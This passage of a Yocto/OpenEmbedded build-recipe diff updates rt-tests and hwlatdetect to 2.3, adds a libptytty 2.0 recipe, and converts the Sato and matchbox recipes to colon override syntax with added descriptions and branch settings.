+X264_DISABLE_ASM:powerpc = "${@bb.utils.contains("TUNE_FEATURES", "spe", "--disable-asm", "", d)}"
+X264_DISABLE_ASM:mipsarch = "${@bb.utils.contains("TUNE_FEATURES", "r6", "", "--disable-asm", d)}"
EXTRA_OECONF = '--prefix=${prefix} \
--host=${HOST_SYS} \
diff --git a/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
index 8fd94b176c..43c2a2f33b 100644
--- a/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
+++ b/meta/recipes-rt/rt-tests/files/0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch
@@ -1,4 +1,4 @@
-From f89d6d6d23e0dacfd0008f686a457d536edc406a Mon Sep 17 00:00:00 2001
+From 05ccf5045adf4248f29623ad0db2d2a55ae5cd06 Mon Sep 17 00:00:00 2001
From: Randy Witt <randy.e.witt@intel.com>
Date: Fri, 16 Oct 2020 16:54:30 -0700
Subject: [PATCH] Makefile: Allow for CC and AR to be overridden
@@ -15,11 +15,11 @@ Upstream-Status: Inappropriate [other]
1 file changed, 2 insertions(+), 2 deletions(-)
diff --git a/Makefile b/Makefile
-index c3ebbd7..2176835 100644
+index ec5d693..ab8a8de 100644
--- a/Makefile
+++ b/Makefile
@@ -1,6 +1,6 @@
- VERSION = 1.9
+ VERSION = 2.3
-CC = $(CROSS_COMPILE)gcc
-AR = $(CROSS_COMPILE)ar
+CC ?= $(CROSS_COMPILE)gcc
diff --git a/meta/recipes-rt/rt-tests/files/0001-rt-tests-oslat-Allow-build-for-not-supported-archs.patch b/meta/recipes-rt/rt-tests/files/0001-rt-tests-oslat-Allow-build-for-not-supported-archs.patch
deleted file mode 100644
index 1ee7539f7d..0000000000
--- a/meta/recipes-rt/rt-tests/files/0001-rt-tests-oslat-Allow-build-for-not-supported-archs.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From 165b597e3003c6870f5980e8902014d9344e6cf3 Mon Sep 17 00:00:00 2001
-From: Peter Xu <peterx@redhat.com>
-Date: Thu, 1 Oct 2020 14:47:26 -0400
-Subject: [PATCH] rt-tests: oslat: Allow build for not supported archs
-
-Now rt-tests won't build for archs other than x86/i386/ppc64 after oslat is
-merged. Instead of failing the build, let's make it pass. However, whenever
-oslat is executed, instead of running the real program, dump an error message,
-so that people can try to implement the frc() function for it when there's a
-real need for the new arch.
-
-Upstream-Status: Backport [https://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git/commit/?id=165b597e3003c6870f5980e8902014d9344e6cf3]
-
-Signed-off-by: Peter Xu <peterx@redhat.com>
-Signed-off-by: John Kacur <jkacur@redhat.com>
-Signed-off-by: Peter Bergin <peter@berginkonsult.se>
-
----
- src/oslat/oslat.c | 10 +++++++++-
- 1 file changed, 9 insertions(+), 1 deletion(-)
-
-diff --git a/src/oslat/oslat.c b/src/oslat/oslat.c
-index f1a82f2..a8b6155 100644
---- a/src/oslat/oslat.c
-+++ b/src/oslat/oslat.c
-@@ -69,7 +69,9 @@ static inline void frc(uint64_t *pval)
- __asm__ __volatile__("mfspr %0, 268\n" : "=r" (*pval));
- }
- # else
--# error Need frc() for this platform.
-+# define relax() do { } while (0)
-+# define frc(x)
-+# define FRC_MISSING
- # endif
- #else
- # error Need to add support for this compiler.
-@@ -810,6 +812,12 @@ int main(int argc, char *argv[])
- int i, n_cores;
- cpu_set_t cpu_set;
-
-+#ifdef FRC_MISSING
-+ printf("This architecture is not yet supported. "
-+ "Please implement frc() function first for %s.\n", argv[0]);
-+ return 0;
-+#endif
-+
- CPU_ZERO(&cpu_set);
-
- g.app_name = argv[0];
---
-2.25.1
-
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_1.9.bb b/meta/recipes-rt/rt-tests/hwlatdetect_1.9.bb
deleted file mode 100644
index 5f61c4ecdd..0000000000
--- a/meta/recipes-rt/rt-tests/hwlatdetect_1.9.bb
+++ /dev/null
@@ -1,26 +0,0 @@
-SUMMARY = "Hardware latency detector"
-DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-require rt-tests.inc
-inherit python3-dir
-
-EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
-
-do_compile() {
- oe_runmake hwlatdetect
-}
-
-do_install() {
- oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
- MANDIR=${mandir} INCLUDEDIR=${includedir}
-
- sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
-}
-
-FILES_${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
-RDEPENDS_${PN} = "python3-core "
-RRECOMMENDS_${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/hwlatdetect_git.bb b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
new file mode 100644
index 0000000000..14e319ae57
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/hwlatdetect_git.bb
@@ -0,0 +1,26 @@
+SUMMARY = "Hardware latency detector"
+DESCRIPTION = "Python utility for controlling the kernel hardware latency detection module (hwlat_detector.ko)."
+HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
+SECTION = "tests"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit python3-dir
+
+EXTRA_OEMAKE += "PYLIB=${libdir}/python${PYTHON_BASEVERSION}/dist-packages"
+
+do_compile() {
+ oe_runmake hwlatdetect
+}
+
+do_install() {
+ oe_runmake install_hwlatdetect DESTDIR=${D} SBINDIR=${sbindir} \
+ MANDIR=${mandir} INCLUDEDIR=${includedir}
+
+ sed -i -e '1s,#!.*python.*,#!${bindir}/python3,' ${D}${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py
+}
+
+FILES:${PN} += "${libdir}/python${PYTHON_BASEVERSION}/dist-packages/hwlatdetect.py"
+RDEPENDS:${PN} = "python3-core "
+RRECOMMENDS:${PN} = "kernel-module-hwlat-detector"
diff --git a/meta/recipes-rt/rt-tests/rt-tests.inc b/meta/recipes-rt/rt-tests/rt-tests.inc
index 2dd890cf95..e519dfdc61 100644
--- a/meta/recipes-rt/rt-tests/rt-tests.inc
+++ b/meta/recipes-rt/rt-tests/rt-tests.inc
@@ -1,7 +1,7 @@
-# Version 1.8
-SRCREV = "21c1df7d2ee199ac619cbb1806a38d15e7e95c09"
+SRCREV = "338843c1ee157ae5d990c6f544f66b447b24fa8b"
+PV = "2.3"
PE = "1"
-SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git;branch=unstable/devel/latest"
+SRC_URI = "git://git.kernel.org/pub/scm/utils/rt-tests/rt-tests.git;branch=main"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_1.9.bb b/meta/recipes-rt/rt-tests/rt-tests_1.9.bb
deleted file mode 100644
index b916a7fe60..0000000000
--- a/meta/recipes-rt/rt-tests/rt-tests_1.9.bb
+++ /dev/null
@@ -1,36 +0,0 @@
-SUMMARY = "Real-Time preemption testcases"
-HOMEPAGE = "https://rt.wiki.kernel.org/index.php/Cyclictest"
-SECTION = "tests"
-DEPENDS = "linux-libc-headers virtual/libc numactl"
-LICENSE = "GPLv2 & GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-require rt-tests.inc
-inherit ptest
-
-SRC_URI += " \
- file://run-ptest \
- file://rt_bmark.py \
- file://0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch \
- file://0001-rt-tests-oslat-Allow-build-for-not-supported-archs.patch \
- "
-
-# rt-tests needs PI mutex support in libc
-COMPATIBLE_HOST_libc-musl = 'null'
-
-# Do not install hwlatdetect
-EXTRA_OEMAKE += "PYLIB=''"
-
-do_install() {
- oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
- INCLUDEDIR=${includedir}
-}
-
-do_install_ptest() {
- cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
-}
-
-RDEPENDS_${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
-
-FILES_${PN} += "${prefix}/src/backfire"
-RDEPENDS_${PN} += "bash"
diff --git a/meta/recipes-rt/rt-tests/rt-tests_git.bb b/meta/recipes-rt/rt-tests/rt-tests_git.bb
new file mode 100644
index 0000000000..e86f7922bf
--- /dev/null
+++ b/meta/recipes-rt/rt-tests/rt-tests_git.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Real-Time preemption testcases"
+HOMEPAGE = "https://wiki.linuxfoundation.org/realtime/documentation/start"
+DESCRIPTION = "The main aim of the PREEMPT_RT patch is to minimize the amount of kernel code that is non-preemptible Therefore several substitution mechanisms and new mechanisms are implemented."
+SECTION = "tests"
+DEPENDS = "linux-libc-headers virtual/libc numactl"
+LICENSE = "GPLv2 & GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+require rt-tests.inc
+inherit ptest
+
+SRC_URI += " \
+ file://run-ptest \
+ file://rt_bmark.py \
+ file://0001-Makefile-Allow-for-CC-and-AR-to-be-overridden.patch \
+ "
+
+# rt-tests needs PI mutex support in libc
+COMPATIBLE_HOST:libc-musl = 'null'
+
+# Do not install hwlatdetect
+EXTRA_OEMAKE += "PYLIB=''"
+
+do_install() {
+ oe_runmake install DESTDIR=${D} SBINDIR=${sbindir} MANDIR=${mandir} \
+ INCLUDEDIR=${includedir}
+}
+
+do_install_ptest() {
+ cp ${WORKDIR}/rt_bmark.py ${D}${PTEST_PATH}
+}
+
+RDEPENDS:${PN}-ptest += " stress-ng python3 python3-multiprocessing python3-datetime python3-misc"
+
+FILES:${PN} += "${prefix}/src/backfire"
+RDEPENDS:${PN} += "bash"
diff --git a/meta/recipes-sato/images/core-image-sato-dev.bb b/meta/recipes-sato/images/core-image-sato-dev.bb
index 7fa69d0997..f45a83273c 100644
--- a/meta/recipes-sato/images/core-image-sato-dev.bb
+++ b/meta/recipes-sato/images/core-image-sato-dev.bb
@@ -3,5 +3,6 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato for development work. It includes everything \
within core-image-sato plus a native toolchain, application development and \
testing libraries, profiling and debug symbols."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs"
diff --git a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb b/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
deleted file mode 100644
index 3641217306..0000000000
--- a/meta/recipes-sato/images/core-image-sato-ptest-fast.bb
+++ /dev/null
@@ -1,19 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-IMAGE_INSTALL += "${PTESTS_FAST}"
-
-DESCRIPTION += "Also includes ptest packages with fast execution times to allow for more automated QA."
-
-# This image is sufficiently large (~1.8GB) that it can't actually fit in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1500MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
-IMAGE_ROOTFS_EXTRA_SPACE = "1524288"
-
-# ptests need more memory than standard to avoid the OOM killer
-QB_MEM = "-m 1024"
-
-# Sadly at the moment the fast set of ptests is not robust enough and sporadically fails in a couple of places
-PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb b/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
deleted file mode 100644
index bf749acd79..0000000000
--- a/meta/recipes-sato/images/core-image-sato-sdk-ptest.bb
+++ /dev/null
@@ -1,23 +0,0 @@
-require core-image-sato-sdk.bb
-require conf/distro/include/ptest-packagelists.inc
-
-DESCRIPTION += "Also includes ptest packages."
-
-PROVIDES += "core-image-sato-ptest"
-
-# Also include ptests which may not otherwise be included in a sato image
-IMAGE_INSTALL += "${PTESTS_FAST} ${PTESTS_SLOW}"
-
-# This image is sufficiently large (~1.8GB) that we need to be careful that it fits in a live
-# image (which has a 4GB limit), so nullify the overhead factor (1.3x out of the
-# box) and explicitly add just 1100MB.
-# strace-ptest in particular needs more than 500MB
-IMAGE_OVERHEAD_FACTOR = "1.0"
-IMAGE_ROOTFS_EXTRA_SPACE = "1124288"
-
-# ptests need more memory than standard to avoid the OOM killer
-# also lttng-tools needs /tmp that has at least 1G
-QB_MEM = "-m 2048"
-
-# Sadly at the moment the full set of ptests is not robust enough and sporadically fails in random places
-PTEST_EXPECT_FAILURE = "1"
diff --git a/meta/recipes-sato/images/core-image-sato-sdk.bb b/meta/recipes-sato/images/core-image-sato-sdk.bb
index d7cc52b52b..b52de0def0 100644
--- a/meta/recipes-sato/images/core-image-sato-sdk.bb
+++ b/meta/recipes-sato/images/core-image-sato-sdk.bb
@@ -3,6 +3,7 @@ require core-image-sato.bb
DESCRIPTION = "Image with Sato support that includes everything within \
core-image-sato plus meta-toolchain, development headers and libraries to \
form a standalone SDK."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "dev-pkgs tools-sdk \
tools-debug eclipse-debug tools-profile tools-testapps debug-tweaks ssh-server-openssh"
diff --git a/meta/recipes-sato/images/core-image-sato.bb b/meta/recipes-sato/images/core-image-sato.bb
index 673106eb6d..e63a229d12 100644
--- a/meta/recipes-sato/images/core-image-sato.bb
+++ b/meta/recipes-sato/images/core-image-sato.bb
@@ -1,6 +1,7 @@
DESCRIPTION = "Image with Sato, a mobile environment and visual style for \
mobile devices. The image supports X11 with a Sato theme, Pimlico \
applications, and contains terminal, editor, and file manager."
+HOMEPAGE = "https://www.yoctoproject.org/"
IMAGE_FEATURES += "splash package-management x11-base x11-sato ssh-server-dropbear hwcodecs"
@@ -8,8 +9,9 @@ LICENSE = "MIT"
inherit core-image
-TOOLCHAIN_HOST_TASK_append = " nativesdk-intltool nativesdk-glib-2.0"
-TOOLCHAIN_HOST_TASK_remove_task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:append = " nativesdk-intltool nativesdk-glib-2.0"
+TOOLCHAIN_HOST_TASK:remove:task-populate-sdk-ext = " nativesdk-intltool nativesdk-glib-2.0"
QB_MEM = '${@bb.utils.contains("DISTRO_FEATURES", "opengl", "-m 512", "-m 256", d)}'
-QB_MEM_qemumips = "-m 256"
+QB_MEM:qemuarmv5 = "-m 256"
+QB_MEM:qemumips = "-m 256"
diff --git a/meta/recipes-sato/l3afpad/l3afpad_git.bb b/meta/recipes-sato/l3afpad/l3afpad_git.bb
index 6fdcc3e392..50f6da24f3 100644
--- a/meta/recipes-sato/l3afpad/l3afpad_git.bb
+++ b/meta/recipes-sato/l3afpad/l3afpad_git.bb
@@ -1,4 +1,8 @@
SUMMARY = "Simple GTK+ Text Editor"
+DESCRIPTION = "L3afpad is a simple GTK+ text editor that emphasizes simplicity. As development \
+focuses on keeping weight down to a minimum, only the most essential features \
+are implemented in the editor. L3afpad is simple to use, is easily compiled, \
+requires few libraries, and starts up quickly."
HOMEPAGE = "https://github.com/stevenhoneyman/l3afpad"
# Note that COPYING seems to mistakenly contain LGPLv2.1.
@@ -12,7 +16,7 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c \
DEPENDS = "gtk+3 intltool-native gettext-native"
PV = "0.8.18.1.11+git${SRCPV}"
-SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git"
+SRC_URI = "git://github.com/stevenhoneyman/l3afpad.git;branch=master;protocol=https"
SRCREV ="3cdccdc9505643e50f8208171d9eee5de11a42ff"
S = "${WORKDIR}/git"
@@ -22,4 +26,4 @@ inherit autotools pkgconfig features_check mime-xdg
ANY_OF_DISTRO_FEATURES = "${GTK3DISTROFEATURES}"
EXTRA_OECONF = "--disable-emacs --disable-print"
-FILES_${PN} += "${datadir}/icons"
+FILES:${PN} += "${datadir}/icons"
diff --git a/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
new file mode 100644
index 0000000000..d3a458f100
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty/0001-CMakeLists.txt-do-not-run-cross-binary.patch
@@ -0,0 +1,24 @@
+From 989ae1f3651686c1f1046fe1c1596d564c3f452d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Mon, 13 Dec 2021 14:33:01 +0100
+Subject: [PATCH] CMakeLists.txt: do not run cross-binary
+
+Upstream-Status: Inappropriate [issue reported at https://github.com/yusiwen/libptytty/issues/2]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ CMakeLists.txt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/CMakeLists.txt b/CMakeLists.txt
+index c1ad6c0..3bd4d97 100644
+--- a/CMakeLists.txt
++++ b/CMakeLists.txt
+@@ -271,7 +271,7 @@ if(NOT HAVE_UNIX_FDPASS)
+ message(FATAL_ERROR "libptytty requires unix-compliant filehandle passing ability")
+ endif()
+
+-check_c_source_runs(
++check_c_source_compiles(
+ "
+ #include <grp.h>
+ #include <sys/stat.h>
diff --git a/meta/recipes-sato/libptytty/libptytty_2.0.bb b/meta/recipes-sato/libptytty/libptytty_2.0.bb
new file mode 100644
index 0000000000..85e3a36fba
--- /dev/null
+++ b/meta/recipes-sato/libptytty/libptytty_2.0.bb
@@ -0,0 +1,13 @@
+SUMMARY = " OS independent and secure pty/tty and utmp/wtmp/lastlog handling"
+HOMEPAGE = "http://software.schmorp.de/pkg/libptytty.html"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=59530bdf33659b29e73d4adb9f9f6552"
+
+SRC_URI = "http://dist.schmorp.de/libptytty/libptytty-${PV}.tar.gz \
+ file://0001-CMakeLists.txt-do-not-run-cross-binary.patch \
+ "
+SRC_URI[sha256sum] = "8033ed3aadf28759660d4f11f2d7b030acf2a6890cb0f7926fb0cfa6739d31f7"
+
+inherit cmake
+
+EXTRA_OECMAKE:append:libc-musl = " -DWTMP_SUPPORT=OFF"
diff --git a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
index 547e851c15..8f3151bfc9 100644
--- a/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
+++ b/meta/recipes-sato/matchbox-config-gtk/matchbox-config-gtk_0.2.bb
@@ -7,11 +7,11 @@ LIC_FILES_CHKSUM = "file://COPYING;md5=94d55d512a9ba36caa9b7df079bae19f \
file://appearance/mb-appearance.c;endline=25;md5=ea92333cf8a6802639d62d874c114a28"
DEPENDS = "gconf gtk+3"
-RDEPENDS_${PN} = "settings-daemon"
+RDEPENDS:${PN} = "settings-daemon"
# SRCREV tagged 0.2
SRCREV = "ef2192ce98d9374ffdad5f78544c3f8f353c16aa"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://no-handed.patch"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
diff --git a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
index e7d8a284bb..c85f0440b1 100644
--- a/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
+++ b/meta/recipes-sato/matchbox-desktop/matchbox-desktop_2.2.bb
@@ -1,4 +1,5 @@
SUMMARY = "Matchbox Window Manager Desktop"
+DESCRIPTION = "A lightweight windows manager for embedded systems. It uses the desktop background to provide an application launcher and allows modules to be loaded for additional functionality."
HOMEPAGE = "http://matchbox-project.org/"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
@@ -12,7 +13,7 @@ SECTION = "x11/wm"
# SRCREV tagged 2.2
SRCREV = "6bc67d09da4147e5552fe30011a05a2c59d2f777"
-SRC_URI = "git://git.yoctoproject.org/${BPN}-2 \
+SRC_URI = "git://git.yoctoproject.org/${BPN}-2;branch=master \
file://vfolders/ \
"
@@ -25,9 +26,9 @@ inherit autotools pkgconfig features_check
# The startup-notification requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
-do_install_append() {
+do_install:append() {
install -d ${D}${datadir}/matchbox/vfolders/
install -m 0644 ${WORKDIR}/vfolders/* ${D}${datadir}/matchbox/vfolders/
}
-FILES_${PN} += "${datadir}/matchbox/vfolders/"
+FILES:${PN} += "${datadir}/matchbox/vfolders/"
diff --git a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
index dfc7fbad57..a878411814 100644
--- a/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
+++ b/meta/recipes-sato/matchbox-keyboard/matchbox-keyboard_0.1.1.bb
@@ -1,4 +1,5 @@
SUMMARY = "Matchbox virtual keyboard for X11"
+DESCRIPTION = "An on screen 'virtual' or 'software' keyboard."
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
SECTION = "x11"
@@ -32,19 +33,19 @@ PACKAGECONFIG[gtk3-im] = "--enable-gtk3-im,--disable-gtk3-im,gtk+3"
PACKAGES += "${PN}-im ${PN}-applet"
-FILES_${PN} = "${bindir}/ \
+FILES:${PN} = "${bindir}/ \
${sysconfdir} \
${datadir}/applications \
${datadir}/pixmaps \
${datadir}/matchbox-keyboard"
-FILES_${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
+FILES:${PN}-im = "${libdir}/gtk-2.0/*/immodules/*.so \
${libdir}/gtk-3.0/*/immodules/*.so"
-FILES_${PN}-applet = "${libdir}/matchbox-panel/*.so"
+FILES:${PN}-applet = "${libdir}/matchbox-panel/*.so"
-do_install_append () {
+do_install:append () {
install -d ${D}/${sysconfdir}/X11/Xsession.d/
install -m 755 ${WORKDIR}/80matchboxkeyboard.sh ${D}/${sysconfdir}/X11/Xsession.d/
@@ -55,5 +56,5 @@ do_install_append () {
GTKIMMODULES_PACKAGES = "${PN}-im"
-RDEPENDS_${PN} = "formfactor dbus-wait"
-RRECOMMENDS_${PN} = "${PN}-applet"
+RDEPENDS:${PN} = "formfactor dbus-wait"
+RRECOMMENDS:${PN} = "${PN}-applet"
diff --git a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
index 2e6f5b7085..49f9fdbb36 100644
--- a/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
+++ b/meta/recipes-sato/matchbox-panel-2/matchbox-panel-2_2.11.bb
@@ -1,4 +1,6 @@
SUMMARY = "Simple GTK+ based panel for handheld devices"
+DESCRIPTION = "A flexible always present 'window bar' for holding application \
+launchers and small 'applet' style applications"
HOMEPAGE = "http://matchbox-project.org"
BUGTRACKER = "http://bugzilla.yoctoproject.org/"
@@ -17,11 +19,11 @@ REQUIRED_DISTRO_FEATURES = "x11"
# SRCREV tagged 2.11 plus some autotools fixes
SRCREV = "f82ca3f42510fb3ef10f598b393eb373a2c34ca7"
-RPROVIDES_${PN} = "matchbox-panel"
-RREPLACES_${PN} = "matchbox-panel"
-RCONFLICTS_${PN} = "matchbox-panel"
+RPROVIDES:${PN} = "matchbox-panel"
+RREPLACES:${PN} = "matchbox-panel"
+RCONFLICTS:${PN} = "matchbox-panel"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://0001-applets-systray-Allow-icons-to-be-smaller.patch \
"
@@ -31,10 +33,10 @@ EXTRA_OECONF += " ${@bb.utils.contains("MACHINE_FEATURES", "apm", "--with-batter
S = "${WORKDIR}/git"
-FILES_${PN} += "${libdir}/matchbox-panel/*.so \
+FILES:${PN} += "${libdir}/matchbox-panel/*.so \
${datadir}/matchbox-panel/brightness/*.png \
${datadir}/matchbox-panel/startup/*.png \
${datadir}/icons/"
-FILES_${PN}-dev += "${libdir}/matchbox-panel/*.la"
+FILES:${PN}-dev += "${libdir}/matchbox-panel/*.la"
inherit autotools pkgconfig features_check gettext
diff --git a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
index 966c5b5b92..7af11c2f50 100644
--- a/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
+++ b/meta/recipes-sato/matchbox-sato/matchbox-session-sato_0.1.bb
@@ -6,7 +6,7 @@ LICENSE = "GPLv2.0+"
LIC_FILES_CHKSUM = "file://session;endline=3;md5=f8a5c5b9c279e52dc094d10e11c2be63"
SECTION = "x11"
-RDEPENDS_${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
+RDEPENDS:${PN} = "formfactor matchbox-theme-sato matchbox-panel-2 matchbox-desktop matchbox-session gconf"
PR = "r30"
# This package is architecture specific because the session script is modified
@@ -22,7 +22,7 @@ SRC_URI = "file://session \
file://index.theme"
S = "${WORKDIR}"
-FILES_${PN} += "${datadir}/themes/Sato/index.theme"
+FILES:${PN} += "${datadir}/themes/Sato/index.theme"
do_install() {
# This is the set of machine features that the script has markers for
@@ -43,7 +43,7 @@ do_install() {
}
PACKAGE_WRITE_DEPS += "gconf-native"
-pkg_postinst_${PN} () {
+pkg_postinst:${PN} () {
set_value() {
#type, name, value
gconftool-2 --config-source=xml::$D${sysconfdir}/gconf/gconf.xml.defaults --direct --type $1 --set /desktop/poky/interface/$2 "$3"
diff --git a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
index 9f00281dde..e2e81c2905 100644
--- a/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
+++ b/meta/recipes-sato/matchbox-terminal/matchbox-terminal_0.2.bb
@@ -11,7 +11,7 @@ SECTION = "x11/utils"
#SRCREV tagged 0.2
SRCREV = "161276d0f5d1be8187010fd0d9581a6feca70ea5"
-SRC_URI = "git://git.yoctoproject.org/${BPN}"
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
index ce683e9630..bd680111d9 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato.inc
@@ -10,7 +10,7 @@ SECTION = "x11/wm"
inherit autotools pkgconfig features_check
-FILES_${PN} += "${datadir}/themes"
+FILES:${PN} += "${datadir}/themes"
# The matchbox-wm requires x11 in DISTRO_FEATURES
REQUIRED_DISTRO_FEATURES = "x11"
diff --git a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
index 7a043d3447..bc4024736f 100644
--- a/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
+++ b/meta/recipes-sato/matchbox-theme-sato/matchbox-theme-sato_0.2.bb
@@ -2,7 +2,7 @@ require matchbox-theme-sato.inc
# SRCREV tagged 0.2
SRCREV = "df085ba9cdaeaf2956890b0e29d7ea1779bf6c78"
-SRC_URI = "git://git.yoctoproject.org/matchbox-sato"
+SRC_URI = "git://git.yoctoproject.org/matchbox-sato;branch=master"
UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
S = "${WORKDIR}/git"
diff --git a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
index ed3f1a69a1..cfa301a58d 100644
--- a/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
+++ b/meta/recipes-sato/packagegroups/packagegroup-core-x11-sato.bb
@@ -3,6 +3,8 @@
#
SUMMARY = "Sato desktop"
+DESCRIPTION = "Packagegroups provide a convenient mechanism of bundling a collection of packages."
+HOMEPAGE = "https://www.yoctoproject.org/"
PR = "r33"
PACKAGE_ARCH = "${MACHINE_ARCH}"
@@ -12,7 +14,7 @@ REQUIRED_DISTRO_FEATURES = "x11"
PACKAGES = "${PN} ${PN}-base ${PN}-apps ${PN}-games"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PN}-base \
${PN}-apps \
${PN}-games \
@@ -20,8 +22,8 @@ RDEPENDS_${PN} = "\
NETWORK_MANAGER ?= "connman-gnome"
-SUMMARY_${PN}-base = "Sato desktop - base packages"
-RDEPENDS_${PN}-base = "\
+SUMMARY:${PN}-base = "Sato desktop - base packages"
+RDEPENDS:${PN}-base = "\
matchbox-desktop \
matchbox-session-sato \
